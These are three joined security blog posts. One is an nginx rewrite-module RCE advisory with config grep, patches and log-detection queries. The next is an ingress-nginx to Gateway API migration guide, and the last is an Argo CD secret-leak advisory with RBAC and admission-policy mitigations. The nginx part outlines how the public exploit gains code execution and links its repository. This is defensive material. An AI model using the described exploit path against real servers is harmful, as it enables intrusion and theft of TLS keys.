A working remote code execution PoC is public on GitHub. There is no in-the-wild exploitation reported as of this morning, but the PoC repository is small enough to read in one sitting and the exploit primitive is deterministic. The clock is short.

This post covers what the bug actually is, the one-line grep that tells you whether your config is exploitable (because the F5 advisory's "vulnerable" framing is broader than your actual exposure), the patch matrix across distros, and the long tail of OpenResty, Kong, APISIX, and other downstream products that have no advisory yet but ship the same vulnerable code.

TL;DR

• CVE-2026-42945, CVSS v4 9.2 / v3 8.1. Heap buffer overflow in ngx_http_rewrite_module reachable by an unauthenticated HTTP request against any nginx running a vulnerable rewrite pattern.
• Affected: NGINX Open Source 0.6.27 through 1.30.0; NGINX Plus R32 through R36; F5 NGINX Ingress Controller 3.5.0-5.4.1, NGINX App Protect WAF 4.x and 5.x, NGINX Gateway Fabric, NGINX Instance Manager. OpenResty, Tengine, Angie, FreeNGINX, Kong, APISIX and the Kubernetes ingress-nginx project all ship the same ngx_http_script.c and should be treated as vulnerable until their maintainers ship a patched release.
• Fixed in: nginx 1.31.0 (mainline) and 1.30.1 (stable). NGINX Plus R36 P4, R35 P2, R32 P6.
• The trigger is operator-written config, not attacker-controlled config. A rewrite directive whose replacement contains ? and uses an unnamed capture ($1, $2, etc.) referenced again by set, if, or a subsequent rewrite is enough. The attacker just sends one HTTP request with the right URL.
• Successful exploitation lands code execution as the nginx worker user (often www-data or nginx). Workers hold the TLS private key in memory and serve responses, so even non-root worker access is a serious incident.
• Detection: there are no published WAF rules from Cloudflare, AWS, or OWASP CRS yet. Grep your own configs. The one-liner is below.

Prerequisites

• Shell access to any host that runs nginx, or to a Kubernetes cluster running an nginx-based ingress controller.
• The nginx config tree (/etc/nginx/, or your container image's equivalent).
• Patience for one round of grep followed by either a package upgrade or a config audit.

What the bug actually is

The rewrite module compiles every rewrite, set, if, and return directive into a small bytecode that runs once per request. The compiler produces two code arrays: a "length" array that calculates how many bytes the rewritten string will occupy, and a "value" array that actually writes those bytes.

Two state bits flow through this machine. One is is_args, which records whether the rewrite has crossed into the query-string portion of the URL. The other is the destination buffer pointer. The bug is that those two bits get out of sync when the rewrite uses an unnamed PCRE capture and the replacement contains ?.

Concretely, after a rewrite ^/api/(.+) /v2/$1?internal=1 break; runs once, the engine permanently flips is_args=1 on the main script engine. The length pass for the next rewrite (or set, or if referencing $1) runs through a zeroed sub-engine where is_args=0, so the capture-length code returns the raw byte count of $1. The copy pass sees is_args=1 on the main engine and routes the same bytes through ngx_escape_uri, which expands characters like +, %, &, and space into their percent-encoded forms. The destination buffer was sized for the raw count, so the expanded bytes write past the end of the allocation.

The corruption lands in the request pool. With cross-request heap shaping, the PoC walks the overflow into the ngx_pool_cleanup_t handler pointer and gets system() called with attacker-controlled arguments. Worker code execution follows. All the technical detail is in the depthfirst writeup and the fix commit.

Two important details for operators:

1. This is not a config-poisoning bug. Some vulnerability writeups make a bug sound less serious by noting it requires attacker-controlled nginx.conf. This one does not. Vulnerable configs are operator-written, common in API-gateway and reverse-proxy deployments, and the attacker only needs to send an HTTP request.
2. nginx -t does not flag the pattern. The vulnerable config is syntactically valid. There is no warning from the standard config check. You have to grep.

Find vulnerable configs in your tree

The dangerous pattern needs three things together: a rewrite whose replacement contains ?, the replacement contains an unnamed capture ($1 through $9), and the same capture is read by a later rewrite, set, or if in the same server or location block.

The fast heuristic is a regex against your full config tree:

# List rewrite directives whose replacement carries both '?' and a $N capture.
grep -RHnE 'rewrite[[:space:]]+[^;]+\$[1-9][^;]*\?|rewrite[[:space:]]+[^;]+\?[^;]*\$[1-9]' /etc/nginx/ 2>/dev/null

That gives you the candidate rewrite lines. From there, walk the server and location blocks each lives in and confirm whether any set $foo $1, if ($1 = "..."), or a second rewrite references the same capture. Those are the exploitable combinations.

If you run nginx inside Kubernetes via ingress-nginx, the same grep against the generated config inside the controller pod is the answer:

kubectl -n ingress-nginx exec -ti deploy/ingress-nginx-controller -- \
  sh -c "cat /etc/nginx/nginx.conf | grep -nE 'rewrite[[:space:]]+[^;]+\\\$[1-9][^;]*\\?'"

The generated config aggregates every Ingress's annotations into one file. Snippets, rewrite-target, and configuration-snippet are the common sources.

If the grep is empty across your entire fleet, you are not currently exploitable. Upgrade anyway, because the next config change a developer pushes may add a vulnerable pattern, and you would rather not be running a binary whose CVE you already shrugged off.

The patch matrix

+--------------------------------+-------------------------------------+
| Software                       | Patched version                     |
+--------------------------------+-------------------------------------+
| nginx (mainline)               | 1.31.0                              |
| nginx (stable)                 | 1.30.1                              |
| NGINX Plus R36                 | R36 P4                              |
| NGINX Plus R35                 | R35 P2                              |
| NGINX Plus R32                 | R32 P6                              |
| F5 NGINX Ingress Controller    | 5.4.2 (when released)               |
| F5 NGINX App Protect WAF       | 4.16.1 / 5.8.1 (when released)      |
| F5 NGINX Gateway Fabric        | 2.5.2 (when released)               |
| F5 NGINX Instance Manager      | 2.21.2 (when released)              |
| OpenResty                      | No advisory yet                     |
| Tengine, Angie, FreeNGINX      | No advisory yet                     |
| Kong, APISIX                   | No advisory yet                     |
| Kubernetes ingress-nginx       | Retired, no patch coming            |
+--------------------------------+-------------------------------------+

Distro status as of this morning (2026-05-14):

• Debian (tracker): bullseye, bookworm, trixie, forky all show vulnerable. Only sid has the fixed 1.30.0-3 package landed.
• AlmaLinux: backport for 8, 9, and 10 published in the testing repos using the upstream patch. Worth pulling if you cannot wait for RHEL.
• RHEL, Ubuntu, Alpine: no published advisories yet.

The Kubernetes ingress-nginx line is the one to flag for your platform team. That project went EOL in March 2026 and there is no maintainer left to ship a patched container image. If you are still on it, this is the second CVE in nine days where the answer is "there is no patch coming, plan the Gateway API migration." We covered that migration in a separate post.

If you cannot patch in the next 24 hours

There is no published WAF rule from Cloudflare's managed set, AWS WAF managed rules, or the OWASP Core Rule Set as of this morning. A custom rule that drops URLs containing combinations of percent-encoded bytes and unencoded special characters can blunt the most obvious PoC, but the underlying primitive is broad and the attacker can vary their input shape considerably.

The realistic short-term mitigations:

1. Audit and edit the vulnerable rewrite blocks. If a rewrite line carries the dangerous pattern and you can rewrite it without the ? or the unnamed capture, do that. Most API-gateway rewrites can move the query-string concatenation into a set $args ... statement instead of stuffing it into the rewrite replacement.
2. Front nginx with a non-nginx proxy that can drop malformed paths. A separately-deployed Envoy or HAProxy in front of nginx does not magically rescue you, because both proxies forward the URL path unchanged by default. But you can add path-normalisation or path-length limits at the front proxy that make exploitation harder. This buys time, not safety.
3. Run workers under a tightly scoped systemd unit. NoNewPrivileges=yes, ProtectSystem=strict, ProtectHome=yes, PrivateTmp=yes, RestrictAddressFamilies=AF_UNIX AF_INET AF_INET6, SystemCallFilter=@system-service, and especially MemoryDenyWriteExecute=yes. None of these stop the corruption, but MemoryDenyWriteExecute=yes plus the RestrictAddressFamilies line break the PoC's preferred follow-up of dropping a shell. You still want to upgrade.

Removing the rewrite module entirely at build time is possible (./configure --without-http_rewrite_module) but breaks more than it fixes for most deployments.

What to watch in your logs

There is no canonical detection signature yet. The PoC needs to send a stream of requests to shape the heap before the trigger request arrives, so a spike in same-prefix requests from one source to URLs that hit your rewrite blocks is the kind of pattern that should raise eyebrows. Two queries worth running over the last week's access logs:

# Many requests to the same URL prefix from the same source in a short window
awk '{print $1, $7}' /var/log/nginx/access.log \
  | sort | uniq -c | sort -rn | head -50

# Requests where the path contains long sequences of percent-encoded bytes
grep -E '%[0-9A-Fa-f]{2}.*%[0-9A-Fa-f]{2}.*%[0-9A-Fa-f]{2}.*%[0-9A-Fa-f]{2}' \
  /var/log/nginx/access.log | head -50

Neither is specific enough to alert on, but both are good enough for retrospective investigation if you suspect compromise. Combine with worker process crash reports in your system journal (journalctl -u nginx).

The AI-found angle

The bug was found by an autonomous code-audit system run by depthfirst, in a six-hour run on the nginx codebase in April 2026. The same run surfaced four other memory-corruption issues, all of which F5 confirmed. The disclosure timeline was tight (April 18 found, April 21 reported, April 28 working RCE PoC, May 13 advisory), which is roughly the speed an AI-assisted research workflow lets a small team operate at.

The framing matters less than the implication. The codebase that nobody has shipped a critical RCE against in 18 years now has one shipped against it inside a single afternoon of automated review. The cadence of these "old codebase, new CVE" disclosures is going to keep getting faster, and the operational discipline that lets you patch in 24 hours instead of three weeks is going to keep getting more valuable.

Sources

• F5 advisory K000161019: my.f5.com/manage/s/article/K000161019
• nginx security advisories index: nginx.org/en/security_advisories.html
• Fix commit: github.com/nginx/nginx/commit/2046b45aa0c6e712c216b9075886f3f26e9b4ca9
• depthfirst writeup: depthfirst.com/research/nginx-rift
• PoC repository: github.com/depthfirstdisclosures/nginx-rift
• NVD entry: nvd.nist.gov/vuln/detail/CVE-2026-42945
• Debian tracker: security-tracker.debian.org/tracker/CVE-2026-42945
• AlmaLinux backport: almalinux.org/blog/2026-05-13-nginx-rift-cve-2026-42945
• Original disclosure tweet: @IntCyberDigest on X

Grep first. Patch second. Plan the ingress-nginx migration if you have not already.

So you are one of those clusters. The repository is read-only. The container image still pulls, but the next CVE will not get a patch. You need a plan.

This post walks the migration that does not require a flag day. It covers what the EOL actually means, which Gateway API implementation is the right next step for your situation, what ingress2gateway 1.0 translates for you and what it silently drops, and a side-by-side cutover that lets you keep both controllers running until you are confident.

TL;DR

• EOL date: March 2026 (the official posts give the month, not a specific day). After EOL there are no further releases, no bugfixes, and no security patches. Existing deployments keep running, the images keep pulling, but new CVEs sit unpatched.
• InGate is also retired. The successor project the maintainers had been building never reached production quality and was retired alongside ingress-nginx. The path forward is Gateway API, not InGate.
• ingress2gateway 1.0 shipped on 2026-03-20. It translates the well-defined annotations cleanly. It silently drops the dangerous ones: configuration-snippet, server-snippet, auth-snippet, auth-url, session affinity, load-balance. Those need to be rewritten as vendor-specific Gateway API extensions, which differ per controller.
• Controller choice: Envoy Gateway, kgateway, Cilium Gateway, Istio Gateway are all conformant with Gateway API v1.4 and all behave close enough to ingress-nginx for a routine workload. The right pick depends on what you already run.
• The cutover is shadow Gateway, watch metrics, flip DNS, decommission. Both controllers can run side by side under different ingressClassName / gatewayClassName for as long as you need.

Prerequisites

• A cluster currently running ingress-nginx with one or more Ingress resources.
• kubectl, jq, and the ingress2gateway CLI (install instructions).
• Permission to install a second ingress controller in the cluster (it does not have to be in the same namespace as ingress-nginx).
• A DNS provider that supports either weighted records or per-record updates (Route53, Cloudflare, GCP Cloud DNS, similar).

Step 1: Take inventory

The migration plan you actually need is shaped by the annotations you actually use. Start there.

kubectl get ingress -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}: {.spec.rules[*].host}{"\n"}{end}'

That gives you a list of every Ingress with its hosts. Useful for scoping the migration into batches by team or by hostname. Then dig into the annotations:

kubectl get ingress -A -o json \
  | jq -r '.items[]
      | .metadata as $m
      | (.metadata.annotations // {})
      | to_entries[]
      | "\($m.namespace)/\($m.name)\t\(.key)\t\(.value)"' \
  | grep '^[^\t]*\tnginx.ingress.kubernetes.io/' \
  | sort -k2

This produces a tab-separated table of every nginx annotation in use, grouped by annotation name. The output tells you exactly which features your migration needs to preserve. Save it. You will check it again at the end to confirm nothing got lost.

Pay particular attention to these annotations, which are the ones ingress2gateway does not handle:

nginx.ingress.kubernetes.io/configuration-snippet
nginx.ingress.kubernetes.io/server-snippet
nginx.ingress.kubernetes.io/auth-snippet
nginx.ingress.kubernetes.io/auth-url
nginx.ingress.kubernetes.io/auth-signin
nginx.ingress.kubernetes.io/auth-tls-secret
nginx.ingress.kubernetes.io/session-cookie-name
nginx.ingress.kubernetes.io/load-balance
nginx.ingress.kubernetes.io/upstream-hash-by
nginx.ingress.kubernetes.io/mirror-target

If your output contains any of these, the migration has manual work in it. We will get to what to do with each of them later.

Step 2: Pick a Gateway API controller

There are four serious candidates today, all conformant with Gateway API v1.4. The decision is less about features and more about what you already run.

+---------------------+---------------------------------+-----------------------------+
| Controller          | Best fit when you already       | Watch out for               |
+---------------------+---------------------------------+-----------------------------+
| Envoy Gateway       | You want a clean, focused,      | Newer project, smaller      |
|                     | CNCF-governed Envoy frontend    | community than Istio        |
|                     | with no service mesh baggage    |                             |
| kgateway            | You run Solo.io's Gloo stack,   | License history; verify     |
|                     | want AI/MCP routing primitives  | the kgateway open-source    |
|                     | out of the box                  | story matches your needs    |
| Cilium Gateway      | You already use Cilium for CNI; | Couples L7 routing to your  |
|                     | unified control plane is the    | CNI choice                  |
|                     | win                             |                             |
| Istio Gateway       | You already run Istio for mesh; | Inheriting Istio's full     |
|                     | reuse the existing control      | control plane is a big lift |
|                     | plane                           | if you do not already       |
+---------------------+---------------------------------+-----------------------------+

If none of the "best fit" rows describe you, Envoy Gateway is the conservative default. It is Envoy-based, CNCF-governed, and ships with the lowest surprise count for an operator coming from ingress-nginx.

A note on InGate: it was the project the ingress-nginx maintainers had been positioning as the successor. The November 2025 retirement post explicitly stated InGate "never progressed far enough to create a mature replacement; it will also be retired." Do not migrate to InGate. The path forward is Gateway API with one of the controllers above.

Step 3: Translate Ingress resources with ingress2gateway

ingress2gateway 1.0 shipped on 2026-03-20 with an Emitters framework that produces output tailored to a specific Gateway API controller. The basic invocation against your live cluster:

ingress2gateway print \
  --providers=ingress-nginx \
  -A \
  --emitter envoy-gateway \
  > gateway.yaml

Swap --emitter envoy-gateway for kgateway or standard depending on your target. The standard emitter produces vanilla Gateway API resources with no vendor-specific extensions, which is the right choice if you want to keep the option to switch controllers later.

Output is one or more Gateway, HTTPRoute, and BackendTLSPolicy resources, plus any vendor extensions the emitter knows about. Read the YAML carefully. The tool also emits warnings to stderr for annotations it recognises but cannot translate, and silently drops annotations it does not recognise.

Here is what 1.0 translates cleanly out of the box for the ingress-nginx provider (from the provider README):

canary, canary-by-header, canary-by-header-value, canary-weight, canary-weight-total
rewrite-target (URLRewrite filter, ReplaceFullPath)
app-root, permanent-redirect, temporal-redirect, ssl-redirect
upstream-vhost, connection-proxy-header, x-forwarded-prefix
proxy-connect-timeout, proxy-send-timeout, proxy-read-timeout
proxy-body-size, client-body-buffer-size
backend-protocol (HTTP/HTTPS/GRPC/GRPCS, producing HTTPRoute or GRPCRoute + BackendTLSPolicy)
use-regex
enable-cors and the full CORS annotation set
whitelist-source-range, denylist-source-range
proxy-ssl-verify, proxy-ssl-secret, proxy-ssl-name, proxy-ssl-server-name
TLS via spec.tls[] (Listener with Terminate mode)

Here is what it warns on but does not translate (no Gateway API equivalent yet):

canary-by-header-pattern   (regex header match is not in core Gateway API)
canary-by-cookie           (cookie-based canary not in core)
proxy-redirect-from/-to
custom-headers
proxy-ssl-verify-depth, proxy-ssl-protocols

And here is what it does not even acknowledge (no translation, no warning):

configuration-snippet, server-snippet, auth-snippet
auth-url, auth-signin, auth-tls-secret, auth-response-headers
session-cookie-name and related sticky-session annotations
load-balance (round-robin/ewma/etc.)
upstream-hash-by
mirror-target

That third group is where the actual migration work hides. The first two groups translate or warn; you can review the output and move on. The third group needs case-by-case decisions.

Step 4: Handle the annotations ingress2gateway drops

The Gateway API team did not standardise the snippet annotations on purpose. They were the architectural reason ingress-nginx became unmaintainable. The migration is the moment to write down what each snippet actually does and find a structured replacement.

configuration-snippet, server-snippet, auth-snippet. Each of these injects raw NGINX configuration into the generated config. There is no Gateway API equivalent because the design goal of Gateway API is "no untyped configuration". Identify what each snippet does (custom rate limiting, custom logging, request manipulation, ad-hoc auth) and pick a structured replacement. For Envoy Gateway, that means SecurityPolicy, ClientTrafficPolicy, BackendTrafficPolicy, and EnvoyExtensionPolicy. For kgateway it is TrafficPolicy. For Istio Gateway it is EnvoyFilter (which is itself escape-hatch shaped, but at least typed) plus AuthorizationPolicy.

If a snippet does something that has no clean replacement, this is the moment to ask whether the feature was really earning its keep.

auth-url, auth-signin, auth-tls-secret, auth-response-headers. External auth (the classic "redirect to your OIDC proxy" pattern). Envoy Gateway has SecurityPolicy.extAuth which is the closest one-to-one mapping. kgateway has equivalent functionality in TrafficPolicy. Istio Gateway has AuthorizationPolicy with CUSTOM action. None of these are auto-translated; you have to write the new resource by hand. The good news is the replacement is typed and reviewable, unlike the original annotation.

session-cookie-name and sticky sessions. Gateway API core does not have a sticky-session knob. Every controller has its own vendor extension: Envoy Gateway's BackendTrafficPolicy.sessionPersistence, kgateway's session affinity in TrafficPolicy, Istio's DestinationRule with consistentHash.

load-balance and upstream-hash-by. Same story. Core Gateway API picks a controller-defined algorithm by default (Envoy: weighted round-robin). To force a specific algorithm or consistent hash on a header, use the controller's BackendTrafficPolicy or equivalent.

mirror-target. Gateway API has a RequestMirror filter type that does exactly this, but ingress2gateway does not auto-translate to it. Write it manually as an HTTPRoute.filter of type RequestMirror.

The pattern across all of these: figure out which Gateway API extension type the target controller uses, then write the resource alongside the auto-translated HTTPRoute. None of this is fast, but all of it is mechanical once you have the inventory from step 1.

Step 5: Run both controllers side by side

Do not delete ingress-nginx. Install the new controller alongside it, with a separate GatewayClass and a separate Service LoadBalancer. Both controllers reconcile their own resources independently. There is no conflict as long as you keep the resource types separate (Ingress vs HTTPRoute) and the class names different.

A representative install of Envoy Gateway:

helm install eg oci://docker.io/envoyproxy/gateway-helm \
  --version v1.4.0 \
  -n envoy-gateway-system \
  --create-namespace

kubectl wait --timeout=5m -n envoy-gateway-system \
  deployment/envoy-gateway --for=condition=Available

Then a GatewayClass and a Gateway that gets its own external IP:

apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
  name: eg
spec:
  controllerName: gateway.envoyproxy.io/gatewayclass-controller
---
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: production
  namespace: envoy-gateway-system
spec:
  gatewayClassName: eg
  listeners:
    - name: https
      protocol: HTTPS
      port: 443
      tls:
        mode: Terminate
        certificateRefs:
          - name: production-tls
      allowedRoutes:
        namespaces:
          from: All

Apply the gateway.yaml from ingress2gateway and set the HTTPRoute.parentRefs to this Gateway:

apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: api
  namespace: production
spec:
  parentRefs:
    - name: production
      namespace: envoy-gateway-system
  hostnames:
    - api.example.com
  rules:
    - matches:
        - path:
            type: PathPrefix
            value: /
      backendRefs:
        - name: api
          port: 8080

DNS still points at the ingress-nginx Service IP at this stage. The new Gateway has its own IP but no production traffic. You can test it directly with curl --resolve api.example.com:443:<new-lb-ip> https://api.example.com/, which is the cleanest way to validate behaviour before any user-visible change.

Step 6: Validate with metrics, then flip DNS

The Gateway is running and answering synthetic requests. Before any DNS change, run the same Prometheus queries against the new controller that you already run against ingress-nginx, then compare.

The ingress-nginx baseline you already have:

# Request rate per Ingress
sum(rate(nginx_ingress_controller_requests[5m])) by (ingress)

# 5xx rate per Ingress
sum(rate(nginx_ingress_controller_requests{status=~"5.."}[5m])) by (ingress)
/
sum(rate(nginx_ingress_controller_requests[5m])) by (ingress)

# p99 latency per Ingress
histogram_quantile(0.99,
  sum(rate(nginx_ingress_controller_request_duration_seconds_bucket[5m])) by (le, ingress))

The Envoy Gateway equivalents pull from the standard Envoy cluster metrics:

# Request rate per upstream cluster
sum(rate(envoy_cluster_upstream_rq_total[5m])) by (envoy_cluster_name)

# 5xx rate per upstream cluster
sum(rate(envoy_cluster_upstream_rq_xx{envoy_response_code_class="5"}[5m]))
  by (envoy_cluster_name)
/
sum(rate(envoy_cluster_upstream_rq_total[5m])) by (envoy_cluster_name)

# p99 upstream RTT per cluster
histogram_quantile(0.99,
  sum(rate(envoy_cluster_upstream_rq_time_bucket[5m])) by (le, envoy_cluster_name))

For kgateway, Cilium Gateway, and Istio Gateway, the metric names differ; check the controller's metrics documentation. The shape of the queries (rate, by-label, histogram quantile) is the same.

The numbers from the synthetic traffic should match the ingress-nginx baseline within noise. If 5xx jumps on the new controller and not the old one, you have an HTTPRoute translation gap, almost always in the annotation handling. Fix it before flipping DNS.

When the numbers match, shift traffic. The simplest approach is weighted DNS records: 1%, then 5%, then 25%, 50%, 100%. Watch the same dashboards through each step. If you have a CDN or service mesh in front, you can shift by header instead, which is faster to roll back.

Step 7: Decommission

Once DNS has fully cut over and the TTL window has elapsed (plus any CDN cache lifetime), drain ingress-nginx:

# Drop external connectivity first
kubectl -n ingress-nginx patch svc ingress-nginx-controller \
  -p '{"spec":{"type":"ClusterIP"}}'

# Then scale the controller to zero
kubectl -n ingress-nginx scale deploy ingress-nginx-controller --replicas=0

Leave the resources in place for a release cycle in case you need to roll back. The Service-type change costs nothing and removes the LoadBalancer charge while keeping the Ingress objects reachable internally. If everything looks healthy after a week, remove the Helm release.

Rollback path

The reason for the side-by-side install is that rollback at any stage is a DNS change, not a redeploy. If the new controller misbehaves at 25% traffic, push DNS back to 100% ingress-nginx and the world recovers in one TTL cycle. The HTTPRoutes stay in the cluster. You can iterate on them while production is back on the old path.

This is the operational reason "flag day" migrations of ingress controllers are a bad idea. The control plane is two systems, the data plane is two systems, the DNS weight is a knob. Use the knob.

Real-world references

Three migration write-ups worth reading alongside this one:

• Pulumi engineering, "How to Move to the Gateway API after ingress-nginx Retirement" (kgateway as the target, January 2026)
• Datadog engineering, "Ingress NGINX is EOL: a practical guide for migrating to Kubernetes Gateway API" (the seven-step framework, April 2026)
• An engineering team's zero-downtime production write-up (Envoy Gateway, separate LB IPs, WebSocket and gRPC gotchas, March 2026)

None of them publish exact latency numbers, so be wary of any claim that a specific controller is "30% faster" out of the box. The honest answer is "it depends on your routes and your traffic", and your own PromQL during canary is the data you actually want.

Sources

• kubernetes.io/blog/2025/11/11/ingress-nginx-retirement
• kubernetes.io/blog/2026/01/29/ingress-nginx-statement
• github.com/kubernetes-sigs/ingress2gateway (README and releases)
• ingress2gateway 1.0.0 release notes
• Provider README for ingress-nginx
• Gateway API v1.4 release
• Gateway API implementations matrix

Inventory, translate, run side-by-side, validate with metrics, flip DNS, decommission. The migration is mechanical. The annotation cleanup is where the engineering judgement lives.

If you maintain an Argo CD instance shared by more than one team, you almost certainly have read-only users. If you maintain one Application with the IncludeMutationWebhook=true compare option set, that Application's rendered Secrets are visible to every one of those users. Service account tokens, TLS private keys, database credentials, the lot, sitting one API call away.

This post covers the patch matrix, how to find at-risk Applications in your cluster today, what to do if you cannot upgrade immediately, and why this is the second authorization-bypass of this exact shape inside twelve months.

TL;DR

• CVE-2026-42880, CVSS 9.6, disclosed 2026-05-07. Affects Argo CD 3.2.0 to 3.2.10 and 3.3.0 to 3.3.8. Fixed in v3.2.11 and v3.3.9. v2.x is not affected.
• Any authenticated user with applications, get (the default role:readonly grants this) can call ServerSideDiff and receive unmasked Kubernetes Secret values for any Application that has the annotation argocd.argoproj.io/compare-options containing IncludeMutationWebhook=true.
• Detection is a single jq query against kubectl get applications.argoproj.io -A -o json. See below.
• If you cannot upgrade today, the practical mitigation is removing IncludeMutationWebhook=true from those annotations. It is safe to remove. Diffs simply revert to filtering out fields injected by mutating webhooks, which is the default ServerSideDiff behavior anyway.
• This is the second authorization-bypass disclosure in Argo CD in twelve months. Both leaked through endpoints that forgot to call a redaction helper. Treat role:readonly as "read-everything-including-secrets" until proven otherwise.

Prerequisites

• An Argo CD installation on 3.2.x or 3.3.x. Run argocd version (server) or kubectl -n argocd get deploy argocd-server -o jsonpath='{.spec.template.spec.containers[0].image}' to confirm.
• kubectl access to the namespace your Applications live in (usually argocd, but the CR can live anywhere).
• jq for the one-liner. yq works too if you prefer.

What the bug actually is

ServerSideDiff is the Argo CD feature that asks the Kubernetes API server to do a Server-Side Apply dry-run and then diffs the resulting object against the desired state. It was added in 3.x because it produces more accurate diffs than the older client-side approach, especially when controllers or mutating webhooks add fields to the live object.

The vulnerable code path is the gRPC method application.ApplicationService/ServerSideDiff, exposed over REST as /api/v1/applications/{appName}/resource-tree/diff. The handler at server/application/application.go:3051-3062 constructs its response from the raw PredictedLive and NormalizedLive objects returned by the dry-run, without ever calling hideSecretData().

That helper is what every other diff and state endpoint in Argo CD calls before returning a Secret-shaped object to a client. GetManifests, GetManifestsWithFiles, GetResource, PatchResource, all of them route through it. ServerSideDiff was the one handler that missed it.

The vulnerability needs two conditions:

1. The caller has applications, get permission. In the shipped role:readonly policy this is wildcard, so every authenticated user has it.
2. The target Application has the compare option IncludeMutationWebhook=true set on the argocd.argoproj.io/compare-options annotation. Without that flag, a secondary filter called removeWebhookMutation() runs over the response and strips fields injected by mutating webhooks, which incidentally catches the leak. The dangerous combination is ServerSideDiff=true,IncludeMutationWebhook=true in the same annotation value.

What leaks is the rendered Kubernetes Secret as it would appear in etcd. The advisory specifically calls out service account tokens, TLS private keys, database credentials, and API keys. SealedSecrets and ExternalSecrets are not decrypted by Argo CD itself, but the bug leaks the Secret object their controllers produce, which is materially the same outcome from the attacker's perspective.

One nuance worth knowing: the CVSS vector is AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N. PR:L means a valid authenticated session is required. The advisory is correctly framed as "every authenticated user", not "every unauthenticated attacker". For most Argo CD deployments this is a distinction without a difference, since SSO is typically wired up to the whole engineering org.

Find at-risk Applications in your cluster

The fastest way to know whether you are affected is to list every Application whose compare-options annotation contains IncludeMutationWebhook=true:

kubectl get applications.argoproj.io -A -o json \
  | jq -r '.items[]
      | select(.metadata.annotations["argocd.argoproj.io/compare-options"]
      | tostring
      | contains("IncludeMutationWebhook=true"))
      | "\(.metadata.namespace)/\(.metadata.name)"'

This returns one namespace/name per affected Application. Empty output means no Application in the cluster carries the dangerous annotation, but that does not mean you can skip the upgrade. The annotation can also be set globally via the resource.compareoptions field in the argocd-cm ConfigMap:

kubectl -n argocd get cm argocd-cm -o jsonpath='{.data.resource\.compareoptions}'

If that output contains IncludeMutationWebhook=true, every Application in the cluster inherits the dangerous setting, even Applications without their own annotation. The upgrade becomes urgent rather than important.

If you want to know whether the bug has actually been exploited against you, the bad news is there is no dedicated audit field. The Argo CD access log records the gRPC method and the subject from the JWT, so the best you can do is grep historical logs for non-admin subjects calling ServerSideDiff:

kubectl -n argocd logs deploy/argocd-server --tail=1000000 \
  | grep ServerSideDiff \
  | grep -v 'sub=admin'

That gives a noisy but reviewable list. If your subjects are organisation emails or group claims, swap the second grep for the pattern that matches your admins.

The upgrade

The patch is a pure bugfix. The diff adds the existing hideSecretData() call to the ServerSideDiff response builder. There are no new flags, no new defaults, no behavior change for legitimate users beyond the obvious one of no longer seeing plaintext Secret values in diffs. Most teams using ServerSideDiff for legitimate reasons (catching drift introduced by mutating webhooks) get back the same masked diff they already get from every other endpoint.

The version mapping is straightforward:

Argo CD 3.3.x  ->  upgrade to v3.3.9
Argo CD 3.2.x  ->  upgrade to v3.2.11
Argo CD 2.x    ->  not affected, no action needed

If you install via the official Helm chart, the 9.5.x line tracks 3.3.x and pins appVersion v3.3.9 from chart 9.5.11 onward. The 3.2.x line is still served by the older chart majors (8.x). Verify the appVersion mapping on Artifact Hub before pinning a chart version, since the Argo team does not always cut chart releases on the same day as the controller release.

Once the new image is running, the on-the-wire fix is verifiable. Authenticated as a read-only user, call the ServerSideDiff endpoint against an Application that carries IncludeMutationWebhook=true and confirm the response no longer contains data fields populated for Secret resources.

If you cannot upgrade today

Two options buy time. The first is annotation removal:

kubectl -n argocd annotate application <name> \
  argocd.argoproj.io/compare-options-

Removing the annotation is safe. It reverts to default ServerSideDiff behavior, which filters mutation-webhook-injected fields. The only consequence is that diffs no longer include those fields. If you were depending on seeing them, you were also leaking Secrets to read-only users, so this is the correct fix regardless. To remove the global setting from argocd-cm, edit the ConfigMap and drop IncludeMutationWebhook=true from the resource.compareoptions value.

The second option is RBAC scope-down. The Argo CD argocd-rbac-cm ConfigMap controls who can call which endpoint. The minimum effective change is to stop defaulting users to role:readonly. Edit the policy.default line:

# argocd-rbac-cm
policy.default: ""          # was: role:readonly
policy.csv: |
  # Existing admin role still gets everything
  g, your-admin-group, role:admin

  # New explicit team scope, no wildcard get on applications
  p, role:dev-readonly, applications, list, */*, allow
  p, role:dev-readonly, repositories, get, *, allow
  p, role:dev-readonly, projects, get, *, allow
  g, your-dev-group, role:dev-readonly

This is more disruptive than annotation removal because it changes what the UI shows to unprivileged users. List works, individual application detail does not, which is what stops the ServerSideDiff endpoint cold. Best to combine annotation removal with the RBAC change rather than rely on either alone.

A Kyverno policy can also block new at-risk Applications at admission time:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: block-include-mutation-webhook
spec:
  validationFailureAction: enforce
  rules:
    - name: deny-include-mutation-webhook
      match:
        any:
          - resources:
              kinds: ["argoproj.io/v1alpha1/Application"]
      validate:
        message: "IncludeMutationWebhook=true leaks Kubernetes Secrets to read-only users (CVE-2026-42880). Remove it or upgrade Argo CD to 3.2.11 / 3.3.9 first."
        pattern:
          metadata:
            =(annotations):
              =(argocd.argoproj.io/compare-options): "!*IncludeMutationWebhook=true*"

The same shape works as a Gatekeeper constraint if you are on OPA. Both are admission-time defences, so they prevent new bad Applications but do not retroactively fix existing ones. Pair with the jq query above to clean up what is already in the cluster.

The pattern: redaction-by-handler is fragile

CVE-2026-42880 is the second authorization-bypass of this exact shape in Argo CD inside twelve months. The previous one was CVE-2025-55190 on September 4, 2025, CVSS 9.9. That bug lived in server/project/project.go and leaked repository credentials through the GetDetailedProject endpoint. Same default RBAC (any authenticated user with projects, get), same missing redaction call.

Both bugs share a structural property worth flagging. Argo CD's redaction is per-handler, not middleware. Every endpoint that returns an object is responsible for calling hideSecretData() or its equivalent before serialising. Adding a new endpoint without that call ships a CVE. Adding a new field that holds a secret to an existing response ships a CVE.

For operators, the practical lesson is to stop treating role:readonly as if read-only is meaningful in a security sense. It grants get against everything, and "get returns Secret values" turns out to be true twice in a row. The realistic default for shared Argo CD instances is:

• policy.default: "" (no implicit role)
• Explicit per-team roles with only the verbs and resources the team needs
• An explicit admin role for the platform team
• Kyverno or Gatekeeper guards on the annotations and ConfigMap fields known to be dangerous

